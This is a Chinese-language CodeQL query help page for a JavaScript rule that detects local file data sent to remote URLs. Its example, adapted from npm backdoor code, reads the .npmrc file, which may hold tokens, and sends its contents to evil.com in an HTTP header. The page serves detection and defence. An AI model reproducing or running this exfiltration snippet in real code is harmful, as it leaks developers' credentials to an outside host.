出站网络请求中的文件数据¶
ID: js/file-access-to-http
Kind: path-problem
Security severity: 6.5
Severity: warning
Precision: medium
Tags:
- security
- external/cwe/cwe-200
Query suites:
- javascript-security-extended.qls
- javascript-security-and-quality.qls
将本地文件系统数据发送到远程 URL 而不进行进一步验证,可能会导致不受控制的信息泄露,并且可能是恶意后门代码的迹象,该代码已被植入原本可信的代码库中。
建议¶
仔细检查突出显示的代码,确保其按预期工作。
示例¶
以下示例改编自两个流行的 npm 包中发现的后门代码。它读取`.npmrc` 文件的内容(可能包含秘密 npm 令牌),并将该内容嵌入 HTTP 请求头中发送到远程服务器。
var fs = require("fs"),
https = require("https");
var content = fs.readFileSync(".npmrc", "utf8");
https.get({
hostname: "evil.com",
path: "/upload",
method: "GET",
headers: { Referer: content }
}, () => { });
参考¶
ESLint 博客:2018 年 7 月 12 日发布的恶意包的验尸报告.
OWASP:敏感数据暴露.
OWASP:特洛伊木马.
通用弱点枚举:CWE-200.